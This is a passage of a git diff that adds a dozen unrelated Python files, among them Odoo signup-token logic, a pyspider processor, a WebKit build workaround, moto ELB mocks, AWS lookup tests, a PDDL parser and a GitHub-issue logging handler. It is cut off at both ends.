= now() + for partner, partner_sudo in zip(self, self.sudo()): + partner.signup_valid = bool(partner_sudo.signup_token) and \ + (not partner_sudo.signup_expiration or dt <= partner_sudo.signup_expiration) + + def _compute_signup_url(self): + """ proxy for function field towards actual implementation """ + result = self.sudo()._get_signup_url_for_action() + for partner in self: + if any(u.has_group('base.group_user') for u in partner.user_ids if u != self.env.user): + self.env['res.users'].check_access_rights('write') + partner.signup_url = result.get(partner.id, False) + + def _get_signup_url_for_action(self, url=None, action=None, view_type=None, menu_id=None, res_id=None, model=None): + """ generate a signup url for the given partner ids and action, possibly overriding + the url state components (menu_id, id, view_type) """ + + res = dict.fromkeys(self.ids, False) + for partner in self: + base_url = partner.get_base_url() + # when required, make sure the partner has a valid signup token + if self.env.context.get('signup_valid') and not partner.user_ids: + partner.sudo().signup_prepare() + + route = 'login' + # the parameters to encode for the query + query = dict(db=self.env.cr.dbname) + signup_type = self.env.context.get('signup_force_type_in_url', partner.sudo().signup_type or '') + if signup_type: + route = 'reset_password' if signup_type == 'reset' else signup_type + + if partner.sudo().signup_token and signup_type: + query['token'] = partner.sudo().signup_token + elif partner.user_ids: + query['login'] = partner.user_ids[0].login + else: + continue # no signup token, no user, thus no signup url! + + if url: + query['redirect'] = url + else: + fragment = dict() + base = '/web#' + if action == '/mail/view': + base = '/mail/view?' + elif action: + fragment['action'] = action + if view_type: + fragment['view_type'] = view_type + if menu_id: + fragment['menu_id'] = menu_id + if model: + fragment['model'] = model + if res_id: + fragment['res_id'] = res_id + + if fragment: + query['redirect'] = base + werkzeug.urls.url_encode(fragment) + + url = "/web/%s?%s" % (route, werkzeug.urls.url_encode(query)) + if not self.env.context.get('relative_url'): + url = werkzeug.urls.url_join(base_url, url) + res[partner.id] = url + + return res + + def action_signup_prepare(self): + return self.signup_prepare() + + def signup_get_auth_param(self): + """ Get a signup token related to the partner if signup is enabled. + If the partner already has a user, get the login parameter. + """ + res = defaultdict(dict) + + allow_signup = self.env['res.users']._get_signup_invitation_scope() == 'b2c' + for partner in self: + partner = partner.sudo() + if allow_signup and not partner.user_ids: + partner.signup_prepare() + res[partner.id]['auth_signup_token'] = partner.signup_token + elif partner.user_ids: + res[partner.id]['auth_login'] = partner.user_ids[0].login + return res + + def signup_cancel(self): + return self.write({'signup_token': False, 'signup_type': False, 'signup_expiration': False}) + + def signup_prepare(self, signup_type="signup", expiration=False): + """ generate a new token for the partners with the given validity, if necessary + :param expiration: the expiration datetime of the token (string, optional) + """ + for partner in self: + if expiration or not partner.signup_valid: + token = random_token() + while self._signup_retrieve_partner(token): + token = random_token() + partner.write({'signup_token': token, 'signup_type': signup_type, 'signup_expiration': expiration}) + return True + + @api.model + def _signup_retrieve_partner(self, token, check_validity=False, raise_exception=False): + """ find the partner corresponding to a token, and possibly check its validity + :param token: the token to resolve + :param check_validity: if True, also check validity + :param raise_exception: if True, raise exception instead of returning False + :return: partner (browse record) or False (if raise_exception is False) + """ + partner = self.search([('signup_token', '=', token)], limit=1) + if not partner: + if raise_exception: + raise exceptions.UserError(_("Signup token '%s' is not valid") % token) + return False + if check_validity and not partner.signup_valid: + if raise_exception: + raise exceptions.UserError(_("Signup token '%s' is no longer valid") % token) + return False + return partner + + @api.model + def signup_retrieve_info(self, token): + """ retrieve the user info about the token + :return: a dictionary with the user information: + - 'db': the name of the database + - 'token': the token, if token is valid + - 'name': the name of the partner, if token is valid + - 'login': the user login, if the user already exists + - 'email': the partner email, if the user does not exist + """ + partner = self._signup_retrieve_partner(token, raise_exception=True) + res = {'db': self.env.cr.dbname} + if partner.signup_valid: + res['token'] = token + res['name'] = partner.name + if partner.user_ids: + res['login'] = partner.user_ids[0].login + else: + res['email'] = res['login'] = partner.email or '' + return res diff --git a/pool/shard009/Python/0083280_processor.py b/pool/shard009/Python/0083280_processor.py new file mode 100644 index 0000000000000000000000000000000000000000..9525cdcf85e290399d6151a022188fb7390668c1 --- /dev/null +++ b/pool/shard009/Python/0083280_processor.py @@ -0,0 +1,169 @@ +#!/usr/bin/env python +# -*- encoding: utf-8 -*- +# vim: set et sw=4 ts=4 sts=4 ff=unix fenc=utf8: +# Author: Binux +# http://binux.me +# Created on 2014-02-16 22:59:56 + +import sys +import time +import Queue +import logging +import project_module +from libs.response import rebuild_response +logger = logging.getLogger("processor") + +def build_module(project, env={}): + assert 'name' in project, 'need name of project' + assert 'script' in project, 'need script of project' + + env = dict(env) + env.update({ + 'project': project, + 'debug': project.get('status', 'DEBUG') == 'DEBUG', + }) + + script = project['script'] + if isinstance(script, unicode): + script = script.encode('utf8') + + module = project_module.ProjectModule(project['name'], script, env) + module.rethrow() + _class = module.get('__class__') + assert _class is not None, "need BaseHandler in project module" + instance = _class()._init(project) + + return { + 'module': module, + 'class': _class, + 'instance': instance, + 'info': project + } + +class Processor(object): + CHECK_PROJECTS_INTERVAL = 5*60 + + def __init__(self, projectdb, inqueue, status_queue, newtask_queue): + self.inqueue = inqueue + self.status_queue = status_queue + self.newtask_queue = newtask_queue + self.projectdb = projectdb + + self._quit = False + self.projects = {} + self.last_check_projects = 0 + + def _init_projects(self): + for project in self.projectdb.get_all(): + try: + self._update_project(project) + except Exception, e: + logger.exception("exception when init projects for %s" % project.get('name', None)) + continue + self.last_check_projects = time.time() + + def _need_update(self, task): + if task['project'] not in self.projects: + return True + if task.get('project_updatetime', 0) > self.projects[task['project']]['info'].get('updatetime', 0): + return True + if time.time() - self.last_check_projects < self.CHECK_PROJECTS_INTERVAL: + return True + return False + + def _check_projects(self, task): + if not self._need_update(task): + return + for project in self.projectdb.check_update(self.last_check_projects): + try: + logger.debug("project: %s updated." % project['name']) + self._update_project(project) + except Exception, e: + logger.exception("exception when check update for %s" % project.get('name', None)) + continue + self.last_check_projects = time.time() + + def _update_project(self, project): + self.projects[project['name']] = build_module(project) + + def on_task(self, task, response): + start_time = time.time() + try: + response = rebuild_response(response) + assert 'taskid' in task, 'need taskid in task' + project = task['project'] + if project not in self.projects: + raise LookupError("not such project: %s" % project) + project_data = self.projects[project] + ret = project_data['instance'].run(project_data['module'], task, response) + except Exception, e: + logger.exception(e) + return False + process_time = time.time() - start_time + + if not ret.extinfo.get('not_send_status', False): + status_pack = { + 'taskid': task['taskid'], + 'project': task['project'], + 'url': task.get('url'), + 'track': { + 'fetch': { + 'ok': not response.error, + 'time': response.time, + 'status_code': response.status_code, + 'headers': dict(response.headers), + 'encoding': response.encoding, + #'content': response.content, + }, + 'process': { + 'ok': not ret.exception, + 'time': process_time, + 'follows': len(ret.follows), + 'result': unicode(ret.result)[:100], + 'logs': ret.logstr()[:200], + 'exception': unicode(ret.exception), + } + } + } + self.status_queue.put(status_pack) + + for task in ret.follows: + self.newtask_queue.put(task) + + for project, msg in ret.messages: + self.inqueue.put(({ + 'taskid': 'data:,on_message', + 'project': project, + 'url': 'data:,on_message', + 'process': { + 'callback': '_on_message', + } + }, { + 'status_code': 200, + 'url': 'data:,on_message', + 'save': (task['project'], msg), + })) + + if response.error or ret.exception: + logger_func = logger.error + else: + logger_func = logger.info + logger_func('process %s:%s %s -> [%d] len:%d -> fol:%d msg:%d err:%r' % (task['project'], task['taskid'], + task.get('url'), response.status_code, len(response.content), + len(ret.follows), len(ret.messages), ret.exception)) + return True + + def run(self): + while not self._quit: + try: + task, response = self.inqueue.get() + self._check_projects(task) + self.on_task(task, response) + except Queue.Empty, e: + time.sleep(1) + continue + except KeyboardInterrupt: + break + except Exception, e: + logger.exception(e) + continue diff --git a/pool/shard009/Python/0083285_init__.py b/pool/shard009/Python/0083285_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..65bded05e839f5262a22c9a2c5c46d5f4d1c1840 --- /dev/null +++ b/pool/shard009/Python/0083285_init__.py @@ -0,0 +1,67 @@ +# -*- coding: utf-8 -*- +__version__ = '0.1' + +from flask import Flask + +from lib.AfricasTalkingGateway import ( + AfricasTalkingGateway, AfricasTalkingGatewayException) +from datetime import timedelta + +import logging +import settings +import redis + +app = Flask('app') +app.config.from_pyfile('settings.py', silent=True) + + +red = redis.StrictRedis(host='localhost', port=6379, db=0) +app.config['ONLINE_LAST_MINUTES'] = settings.ONLINE_LAST_MINUTES +app.secret_key = settings.SECRET_KEY + +app.permanent_session_lifetime = timedelta(minutes=5760) +logging.basicConfig(filename='octopus.log', level=logging.DEBUG) + +""" +def db_setup(): + connection = r.connect(host=settings.RDB_HOST, port=settings.RDB_PORT, + auth_key=settings.rethinkdb_auth) + try: + r.db_create(settings.TARGET_DB).run(connection) + r.db(settings.TARGET_DB).table_create('User').run(connection) + logging.info('Database setup completed') + except RqlError: + logging.info('App database already exists') + except RqlRuntimeError: + logging.info('App database already exists') + finally: + connection.close() + + +@app.before_request +def before_request(): + try: + logging.info('before_request') + g.rdb_conn = r.connect(host=settings.RDB_HOST, port=settings.RDB_PORT, + db=settings.TARGET_DB, auth_key=settings.rethinkdb_auth) + + except RqlDriverError: + logging.info('DB Connect Failed') + abort(503, "No database connection could be established") + + +@app.teardown_request +def teardown_request(exception): + try: + logging.info('teardown_request') + g.rdb_conn.close() + except AttributeError: + logging.info('Database failure - check your connection', exception) + +""" + +from api import routes +from api import voice +from api import ussd +from api import short_code +from api import airtime \ No newline at end of file diff --git a/pool/shard009/Python/0083290_work-around-vs-dependency-tracking-bugs.py b/pool/shard009/Python/0083290_work-around-vs-dependency-tracking-bugs.py new file mode 100644 index 0000000000000000000000000000000000000000..51d650f7fbc5ac4914ebe3d299e74e798878731c --- /dev/null +++ b/pool/shard009/Python/0083290_work-around-vs-dependency-tracking-bugs.py @@ -0,0 +1,66 @@ +#!/usr/bin/env python + +import glob +import os +import re +import sys + + +# It's fragile to rely on the location of this script to find the top-level +# source directory. +TOP_LEVEL_DIRECTORY = os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))) +WEBKIT_LIBRARIES = os.environ['WEBKIT_LIBRARIES']; + +def main(): + react_to_vsprops_changes() + react_to_webkit1_interface_changes() + + +def react_to_vsprops_changes(): + vsprops_directory = os.path.join(WEBKIT_LIBRARIES, 'tools', 'vsprops') + newest_vsprops_time = mtime_of_newest_file_matching_glob(os.path.join(vsprops_directory, '*.props')) + + obj_directory = os.path.join(os.environ['CONFIGURATIONBUILDDIR'], 'obj32') + + # Visual Studio isn't smart enough to figure out it needs to rebuild these file types when + # .vsprops files change (even if we touch wtf/Platform.h below), so we delete them to force them + # to be rebuilt. + for extension in ('dep', 'manifest', 'pch', 'res'): + for filepath in glob.iglob(os.path.join(obj_directory, '*', '*.%s' % extension)): + delete_if_older_than(filepath, newest_vsprops_time) + + # Touch wtf/Platform.h so all files will be recompiled. This is necessary + # to pick up changes to preprocessor macros (e.g., ENABLE_*). + wtf_platform_h = os.path.join(TOP_LEVEL_DIRECTORY, 'Source', 'WTF', 'wtf', 'Platform.h') + touch_if_older_than(wtf_platform_h, newest_vsprops_time) + + +def react_to_webkit1_interface_changes(): + interfaces_directory = os.path.join(TOP_LEVEL_DIRECTORY, 'Source', 'WebKit', 'win', 'Interfaces') + newest_idl_time = mtime_of_newest_file_matching_glob(os.path.join(interfaces_directory, '*.idl')) + # WebKit.idl includes all the other IDL files, so needs to be rebuilt if any IDL file changes. + # But Visual Studio isn't smart enough to figure this out, so we touch WebKit.idl to ensure that + # it gets rebuilt. + touch_if_older_than(os.path.join(interfaces_directory, 'WebKit.idl'), newest_idl_time) + + +def mtime_of_newest_file_matching_glob(glob_pattern): + files = glob.glob(glob_pattern) + assert len(files), "Couldn't find any files matching glob %s" % glob_pattern + return max(map(os.path.getmtime, files)) + + +def delete_if_older_than(path, reference_time): + if os.path.getmtime(path) < reference_time: + print 'Deleting %s' % path + os.remove(path) + + +def touch_if_older_than(path, reference_time): + if os.path.getmtime(path) < reference_time: + print 'Touching %s' % path + os.utime(path, None) + + +if __name__ == '__main__': + sys.exit(main()) diff --git a/pool/shard009/Python/0083291_models.py b/pool/shard009/Python/0083291_models.py new file mode 100644 index 0000000000000000000000000000000000000000..c99040cf39eb0e5319e80bc745040424402e53de --- /dev/null +++ b/pool/shard009/Python/0083291_models.py @@ -0,0 +1,99 @@ +from moto.core import BaseBackend + + +class FakeHealthCheck(object): + def __init__(self, timeout, healthy_threshold, unhealthy_threshold, + interval, target): + self.timeout = timeout + self.healthy_threshold = healthy_threshold + self.unhealthy_threshold = unhealthy_threshold + self.interval = interval + self.target = target + + +class FakeListener(object): + def __init__(self, load_balancer_port, instance_port, protocol): + self.load_balancer_port = load_balancer_port + self.instance_port = instance_port + self.protocol = protocol.upper() + + +class FakeLoadBalancer(object): + def __init__(self, name, zones, ports): + self.name = name + self.health_check = None + self.instance_ids = [] + self.zones = zones + self.listeners = [] + for protocol, lb_port, instance_port in ports: + listener = FakeListener( + protocol=protocol, + load_balancer_port=lb_port, + instance_port=instance_port, + ) + self.listeners.append(listener) + + @classmethod + def create_from_cloudformation_json(cls, resource_name, cloudformation_json): + properties = cloudformation_json['Properties'] + + new_elb = elb_backend.create_load_balancer( + name=properties.get('LoadBalancerName', resource_name), + zones=properties.get('AvailabilityZones'), + ports=[], + ) + + instance_ids = cloudformation_json.get('Instances', []) + for instance_id in instance_ids: + elb_backend.register_instances(new_elb.name, [instance_id]) + return new_elb + + @property + def physical_resource_id(self): + return self.name + + +class ELBBackend(BaseBackend): + + def __init__(self): + self.load_balancers = {} + + def create_load_balancer(self, name, zones, ports): + new_load_balancer = FakeLoadBalancer(name=name, zones=zones, ports=ports) + self.load_balancers[name] = new_load_balancer + return new_load_balancer + + def describe_load_balancers(self, names): + balancers = self.load_balancers.values() + if names: + return [balancer for balancer in balancers if balancer.name in names] + else: + return balancers + + def delete_load_balancer(self, load_balancer_name): + self.load_balancers.pop(load_balancer_name, None) + + def get_load_balancer(self, load_balancer_name): + return self.load_balancers.get(load_balancer_name) + + def configure_health_check(self, load_balancer_name, timeout, + healthy_threshold, unhealthy_threshold, interval, + target): + check = FakeHealthCheck(timeout, healthy_threshold, unhealthy_threshold, + interval, target) + load_balancer = self.get_load_balancer(load_balancer_name) + load_balancer.health_check = check + return check + + def register_instances(self, load_balancer_name, instance_ids): + load_balancer = self.get_load_balancer(load_balancer_name) + load_balancer.instance_ids.extend(instance_ids) + return load_balancer + + def deregister_instances(self, load_balancer_name, instance_ids): + load_balancer = self.get_load_balancer(load_balancer_name) + new_instance_ids = [instance_id for instance_id in load_balancer.instance_ids if instance_id not in instance_ids] + load_balancer.instance_ids = new_instance_ids + return load_balancer + +elb_backend = ELBBackend() diff --git a/pool/shard009/Python/0083294_xx.py b/pool/shard009/Python/0083294_xx.py new file mode 100644 index 0000000000000000000000000000000000000000..a067c319ee6a8cd4617626bf9bde28de1836af5f --- /dev/null +++ b/pool/shard009/Python/0083294_xx.py @@ -0,0 +1,59 @@ +#!/usr/bin/python + +import os +import sys + +csound = "../../csound" +flags = "-d -W -m0" + +testFiles = [ + cpumeter +] + + + +if len(sys.argv) == 2: + csound = sys.argv[1] +else: + print "Testing git version" + + +print "Using Csound Command: " + csound + +try: + os.remove("Old_OutputX") +except OSError: + pass + +try: + os.remove("CheckSumsX") + os.remove("OutputX") +except OSError: + pass + +try: + os.rename("Output1", "Old_Output") +except OSError: + pass + +for filename in testFiles: + + replaceText = (csound, flags, filename, filename) + csCommand = "%s %s %s.csd -o ./%s.wav >> OutputX 2>&1"%replaceText + + md5sumCommand = "md5sum -b %s.wav >> CheckSumsX"%filename + + print csCommand + os.system(csCommand) + os.system(md5sumCommand) + + try: + os.remove(filename + ".wav") + except OSError: + print "Error: %s.wav was not generated"%filename + +print "********Comparing checksums" +os.system("diff CheckSumsX SAFESumsX") +print "********Comparing output" +os.system("sed -e /Elapsed/d < OutputX > OutputX1") +os.system("diff OutputX1 Old_OutputX | grep -v Elapsed") diff --git a/pool/shard009/Python/0083296_test_lookups_aws.py b/pool/shard009/Python/0083296_test_lookups_aws.py new file mode 100644 index 0000000000000000000000000000000000000000..4d330b9c991d55cba4494a9b6b18a0f4b850dd34 --- /dev/null +++ b/pool/shard009/Python/0083296_test_lookups_aws.py @@ -0,0 +1,81 @@ +# -*- coding: utf-8 -*- +from __future__ import unicode_literals, print_function + +import pytest + +from gcdt_testtools.helpers_aws import check_preconditions, check_normal_mode +from gcdt_testtools.helpers_aws import awsclient # fixtures! +from gcdt_lookups.lookups import _acm_lookup, _resolve_lookups + + +@pytest.mark.aws +@check_preconditions +def test_acm_lookup(awsclient): + # we decided to use placebo recording for this testcase since the certificate + # information is public anyway + # * if we deploy new certificates this might break + # * we do not want to have all the certificate details in github + host_list = ['*.infra.glomex.cloud', '*.dev.infra.glomex.cloud'] + cert_arn = _acm_lookup(awsclient, host_list) + assert cert_arn is not None + assert cert_arn.split(':')[3] == 'eu-west-1' + + +@pytest.mark.aws +@check_preconditions +def test_acm_lookup_is_yugen(awsclient): + # for API Gateway certs need to come from us-east-1 + host_list = ['*.infra.glomex.cloud', '*.dev.infra.glomex.cloud'] + cert_arn = _acm_lookup(awsclient, host_list, 'us-east-1') + assert cert_arn is not None + assert cert_arn.split(':')[3] == 'us-east-1' + + +@pytest.mark.aws +@check_preconditions +def test_stack_lookup_stack_output(awsclient): + # lookup:stack: w/o value gets us the whole stack_output + context = { + '_awsclient': awsclient, + 'tool': 'ramuda' + } + + config = { + 'stack_output': 'lookup:stack:infra-dev' + } + _resolve_lookups(context, config, ['stack']) + + assert config.get('stack_output', {}).get('AWSAccountId') == '420189626185' + + +@pytest.mark.aws +@check_preconditions +def test_stack_lookup_value(awsclient): + # lookup:stack: w/o value gets us the whole stack_output + context = { + '_awsclient': awsclient, + 'tool': 'ramuda' + } + + config = { + 'AWSAccountId': 'lookup:stack:infra-dev:AWSAccountId' + } + _resolve_lookups(context, config, ['stack']) + + assert config.get('AWSAccountId') == '420189626185' + + +@pytest.mark.aws +@check_preconditions +@check_normal_mode +def test_secret_lookup(awsclient): + context = { + '_awsclient': awsclient, + 'tool': 'kumo' + } + config = { + 'BaseAMIID': 'lookup:secret:ops.dev.base_ami' + } + _resolve_lookups(context, config, ['secret']) + + assert config.get('BaseAMIID') == 'ami-1370b36a' diff --git a/pool/shard009/Python/0083297_urlview.py b/pool/shard009/Python/0083297_urlview.py new file mode 100644 index 0000000000000000000000000000000000000000..bdcf419355dee5a5766ccef1cc6a48ce4356f98b --- /dev/null +++ b/pool/shard009/Python/0083297_urlview.py @@ -0,0 +1,47 @@ +#!/bin/python +import os, subprocess +import logging + +from autotest.client import test +from autotest.client.shared import error + +class urlview(test.test): + + """ + Autotest module for testing basic functionality + of urlview + + @author Kingsuk Deb ## + """ + version = 1 + nfail = 0 + path = '' + + def initialize(self): + """ + Sets the overall failure counter for the test. + """ + self.nfail = 0 + logging.info('\n Test initialize successfully') + + def run_once(self, test_path=''): + """ + Trigger test run + """ + try: + os.environ["LTPBIN"] = "%s/shared" %(test_path) + ret_val = subprocess.call(test_path + '/urlview' + '/urlview.sh', shell=True) + if ret_val != 0: + self.nfail += 1 + + except error.CmdError, e: + self.nfail += 1 + logging.error("Test Failed: %s", e) + + def postprocess(self): + if self.nfail != 0: + logging.info('\n nfails is non-zero') + raise error.TestError('\nTest failed') + else: + logging.info('\n Test completed successfully ') + diff --git a/pool/shard009/Python/0083298_f_expression.py b/pool/shard009/Python/0083298_f_expression.py new file mode 100644 index 0000000000000000000000000000000000000000..1eab82fb68f96f7764d771fb0938f9e163b76a9c --- /dev/null +++ b/pool/shard009/Python/0083298_f_expression.py @@ -0,0 +1,110 @@ +import string +import conditions + +def parse_expression(exp): + if isinstance(exp, list): + functionsymbol = exp[0] + return PrimitiveNumericExpression(functionsymbol, + [conditions.parse_term(arg) for arg in exp[1:]]) + elif exp.replace(".","").isdigit(): + return NumericConstant(string.atof(exp)) + else: + return PrimitiveNumericExpression(exp,[]) + +def parse_assignment(alist): + assert len(alist) == 3 + op = alist[0] + head = parse_expression(alist[1]) + exp = parse_expression(alist[2]) + if op == "=": + return Assign(head, exp) + elif op == "increase": + return Increase(head, exp) + else: + assert False, "Assignment operator not supported." + +class FunctionalExpression(object): + def __init__(self, parts): + self.parts = tuple(parts) + def dump(self, indent=" "): + print "%s%s" % (indent, self._dump()) + for part in self.parts: + part.dump(indent + " ") + def _dump(self): + return self.__class__.__name__ + def instantiate(self, var_mapping, init_facts): + raise ValueError("Cannot instantiate condition: not normalized") + +class NumericConstant(FunctionalExpression): + parts = () + def __init__(self, value): + self.value = value + def __eq__(self, other): + return (self.__class__ == other.__class__ and self.value == other.value) + def __str__(self): + return "%s %s" % (self.__class__.__name__, self.value) + def _dump(self): + return str(self) + def instantiate(self, var_mapping, init_facts): + return self + +class PrimitiveNumericExpression(FunctionalExpression): + parts = () + def __init__(self, symbol, args): + self.symbol = symbol + self.args = tuple(args) + def __eq__(self, other): + return (self.__class__ == other.__class__ and self.symbol == other.symbol + and self.args == other.args) + def __str__(self): + return "%s %s(%s)" % ("PNE", self.symbol, ", ".join(map(str, self.args))) + def dump(self, indent=" "): + print "%s%s" % (indent, self._dump()) + for arg in self.args: + arg.dump(indent + " ") + def _dump(self): + return str(self) + def instantiate(self, var_mapping, init_facts): + args = [conditions.ObjectTerm(var_mapping.get(arg.name, arg.name)) + for arg in self.args] + pne = PrimitiveNumericExpression(self.symbol, args) + assert not self.symbol == "total-cost" + # We know this expression is constant. Substitute it by corresponding + # initialization from task. + for fact in init_facts: + if isinstance(fact, FunctionAssignment): + if fact.fluent == pne: + return fact.expression + assert False, "Could not find instantiation for PNE!" + +class FunctionAssignment(object): + def __init__(self, fluent, expression): + self.fluent = fluent + self.expression = expression + def __str__(self): + return "%s %s %s" % (self.__class__.__name__, self.fluent, self.expression) + def dump(self, indent=" "): + print "%s%s" % (indent, self._dump()) + self.fluent.dump(indent + " ") + self.expression.dump(indent + " ") + def _dump(self): + return self.__class__.__name__ + def instantiate(self, var_mapping, init_facts): + if not (isinstance(self.expression, PrimitiveNumericExpression) or + isinstance(self.expression, NumericConstant)): + raise ValueError("Cannot instantiate assignment: not normalized") + # We know that this assignment is a cost effect of an action (for initial state + # assignments, "instantiate" is not called). Hence, we know that the fluent is + # the 0-ary "total-cost" which does not need to be instantiated + assert self.fluent.symbol == "total-cost" + fluent = self.fluent + expression = self.expression.instantiate(var_mapping, init_facts) + return self.__class__(fluent, expression) + +class Assign(FunctionAssignment): + def __str__(self): + return "%s := %s" % (self.fluent, self.expression) + +class Increase(FunctionAssignment): + pass + diff --git a/pool/shard009/Python/0083300_namelist.py b/pool/shard009/Python/0083300_namelist.py new file mode 100644 index 0000000000000000000000000000000000000000..17fca270ef4b5d1e2ccbad54727abf2928009e3c --- /dev/null +++ b/pool/shard009/Python/0083300_namelist.py @@ -0,0 +1,89 @@ +# Copyright (C) British Crown (Met Office) & Contributors. +# This file is part of Rose, a framework for meteorological suites. +# +# Rose is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# Rose is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Rose. If not, see . +# ----------------------------------------------------------------------------- +"""Process namelist: sections in a metomi.rose.config.ConfigNode matching a +name.""" + + +from functools import cmp_to_key +import re + +import metomi.rose.config +from metomi.rose.config_processor import ConfigProcessError +from metomi.rose.env import UnboundEnvironmentVariableError, env_var_process +from metomi.rose.reporter import Event + +RE_NAMELIST_GROUP = re.compile(r"\Anamelist:(\w+).*\Z") + + +class NamelistEvent(Event): + + LEVEL = Event.VV + + +class NamelistLocHandler: + """Handler of namelists.""" + + SCHEME = "namelist" + + def __init__(self, manager): + self.manager = manager + + def can_pull(self, loc): + return loc.name.startswith(self.SCHEME + ":") + + def parse(self, loc, conf_tree): + """Set loc.scheme, loc.loc_type.""" + loc.scheme = self.SCHEME + loc.loc_type = loc.TYPE_BLOB + if loc.name.endswith("(:)"): + name = loc.name[0:-2] + sections = [ + k for k in list(conf_tree.node.value) if k.startswith(name) + ] + else: + sections = [k for k in list(conf_tree.node.value) if k == loc.name] + for section in list(sections): + section_value = conf_tree.node.get_value([section]) + if section_value is None: + sections.remove(section) + if not sections: + raise ValueError(loc.name) + return sections + + async def pull(self, loc, conf_tree): + """Write namelist to loc.cache.""" + sections = self.parse(loc, conf_tree) + if loc.name.endswith("(:)"): + sections.sort(key=cmp_to_key(metomi.rose.config.sort_settings)) + with open(loc.cache, "wb") as handle: + for section in sections: + section_value = conf_tree.node.get_value([section]) + group = RE_NAMELIST_GROUP.match(section).group(1) + nlg = "&" + group + "\n" + for key, node in sorted(section_value.items()): + if node.state: + continue + try: + value = env_var_process(node.value) + except UnboundEnvironmentVariableError as exc: + raise ConfigProcessError( + [section, key], node.value, exc + ) + nlg += "%s=%s,\n" % (key, value) + nlg += "/" + "\n" + handle.write(nlg.encode('UTF-8')) + self.manager.handle_event(NamelistEvent(nlg)) diff --git a/pool/shard009/Python/0083305_midata.py b/pool/shard009/Python/0083305_midata.py new file mode 100644 index 0000000000000000000000000000000000000000..3ad0d08b80694d6f4985b854b4de15090d16d5b9 --- /dev/null +++ b/pool/shard009/Python/0083305_midata.py @@ -0,0 +1,77 @@ +from midata.jsonapi import MidataObject +import requests +import collections.abc + +class Person(MidataObject): + _field_name = 'people' + + def __init__(self, inner_json, full_json): + super().__init__(inner_json, full_json) + + self.first_name = inner_json['first_name'] + self.last_name = inner_json['last_name'] + + @property + def roles(self): + role_ids = set(int(x) for x in self._inner_json['links']['roles']) + return (role for role in Role.extract_linked(self._full_json) + if role.id in role_ids) + + def __str__(self): + return "{} {}".format(self.first_name, self.last_name) + +class Group(MidataObject): + _field_name = 'groups' + + def __init__(self, inner_json, full_json): + super().__init__(inner_json, full_json) + + self.name = inner_json['name'] + self.group_type = inner_json['group_type'] + + @property + def children(self): + return (int(x) for x in self._inner_json['links'].get('children', [])) + +class Role(MidataObject): + _field_name = 'roles' + + def __init__(self, inner_json, full_json): + super().__init__(inner_json, full_json) + + self.description = inner_json['label'] or inner_json['role_type'] + self.role_type = inner_json['role_type'] + + # TODO cache all_groups + @property + def group(self): + group_id = int(self._inner_json['links']['group']) + all_groups = Group.extract_linked(self._full_json) + # extract first matching group + return next(x for x in all_groups if x.id == group_id) + +def get_person(auth_info, person_id): + json = _fetch_content(auth_info, '/groups/1/people/{}'.format(person_id)) + people = list(Person.extract_primary(json)) + assert len(people) == 1 + return people[0] + +def get_group(auth_info, group_id): + json = _fetch_content(auth_info, '/groups/{}'.format(group_id)) + groups = list(Group.extract_primary(json)) + assert len(groups) == 1 + return groups[0] + +def get_members(auth_info, group_id): + json = _fetch_content(auth_info, '/groups/{}/people'.format(group_id)) + return Person.extract_primary(json) + +def _fetch_content(auth_info, url): + r = requests.get(auth_info.server + url.format(auth_info.user_id), + headers=auth_info.http_headers()) + + if r.status_code != 200: + raise Exception("Error!") + + return r.json() + diff --git a/pool/shard009/Python/0083307_logging.py b/pool/shard009/Python/0083307_logging.py new file mode 100644 index 0000000000000000000000000000000000000000..d511999c159f6fca271517c49f1327932092ae8a --- /dev/null +++ b/pool/shard009/Python/0083307_logging.py @@ -0,0 +1,89 @@ +# coding: utf-8 + +from __future__ import absolute_import, division, unicode_literals, print_function + +import logging + +from .exceptions import APIError +from . import api + +import config + + +class GitHubIssueHandler(logging.Handler): + """Emit logged messages as issues on GitHub.""" + + headers = {'Accept': "application/vnd.github.v3+json"} + + def __init__(self, owner, repo, user, access_token): + super(GitHubIssueHandler, self).__init__() + + self.known_issues = set() + self.url = "https://api.github.com/repos/{}/{}/issues".format(owner, repo) + self._auth = (user, access_token) + + def _detect_duplicate(self, title, labels=None): + if title in self.known_issues: + return True + + params = {'state': "open", 'sort': "created", 'direction': "desc"} + if labels: + params['labels'] = ','.join(labels) + + issues = [] + try: + r = api.request_api(self.url, params=params, headers=self.headers) + issues.extend(i['title'] for i in r.json()) + while 'next' in r.links: + r = api.request_api(r.links['next']['url'], headers=self.headers) + issues.extend(i['title'] for i in r.json()) + except APIError: + pass + + self.known_issues.update(issues) + return title in self.known_issues + + def emit(self, record): + payload = {} + body = self.format(record) + + if '\n' in body: + payload['title'], payload['body'] = body.split('\n', 1) + else: + payload['title'] = body + + if hasattr(record, "gh_labels"): + payload['labels'] = record.gh_labels + + if self._detect_duplicate(payload['title'], payload.get('labels', None)): + return + + try: + r = api.request_api(self.url, json=payload, auth=self._auth, + headers=self.headers, method="POST") + except APIError: + self.handleError(record) + else: + if r.status_code == 201: + self.known_issues.add(payload['title']) + + +def setup_logging(main_handler): + logger = logging.getLogger("vmbot") + logger.setLevel(logging.DEBUG) + cc_logger = logging.getLogger("cachecontrol") + cc_logger.setLevel(logging.WARNING) + + main_handler.setFormatter(logging.Formatter("%(asctime)s %(levelname)s: %(message)s", + "%Y-%m-%d %H:%M:%S")) + main_handler.setLevel(config.LOGLEVEL) + logger.addHandler(main_handler) + cc_logger.addHandler(main_handler) + + gh = config.GITHUB + if gh['user'] and gh['token']: + esi_handler = GitHubIssueHandler("XVMX", "VMBot", gh['user'], gh['token']) + esi_handler.setLevel(logging.WARNING) + logging.getLogger("vmbot.helpers.api.esi").addHandler(esi_handler) + + return logger diff --git a/pool/shard009/Python/0083316_ajax.py b/pool/shard009/Python/0083316_ajax.py new file mode 100644 index 0000000000000000000000000000000000000000..76d41830e04f229192bbfb1ee2969424c2ac17b6 --- /dev/null +++ b/pool/shard009/Python/0083316_ajax.py @@ -0,0 +1,98 @@ +# -*- coding: utf-8 -*- + +from dajaxice.decorators import dajaxice_register +from dajax.core import Dajax + +from django.template.loader import get_template +from django.template import Context + +from django.core.urlresolvers import 